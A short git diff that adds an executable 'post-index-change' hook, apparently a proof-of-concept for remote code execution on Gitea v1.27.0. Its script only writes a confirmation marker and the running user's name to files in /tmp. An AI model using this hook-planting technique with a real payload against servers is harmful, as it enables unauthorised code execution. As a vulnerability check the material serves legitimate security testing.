diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..1c8b8e0
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,2 @@
+#!/bin/sh
+echo 'RCE_v1.27.0_CONFIRMED' >> '/tmp/gitea_rce_marker_v1.27.0'
+echo hook_ran_as_user=$(id -un) >> '/tmp/gitea_rce_marker_v1.27.0.log'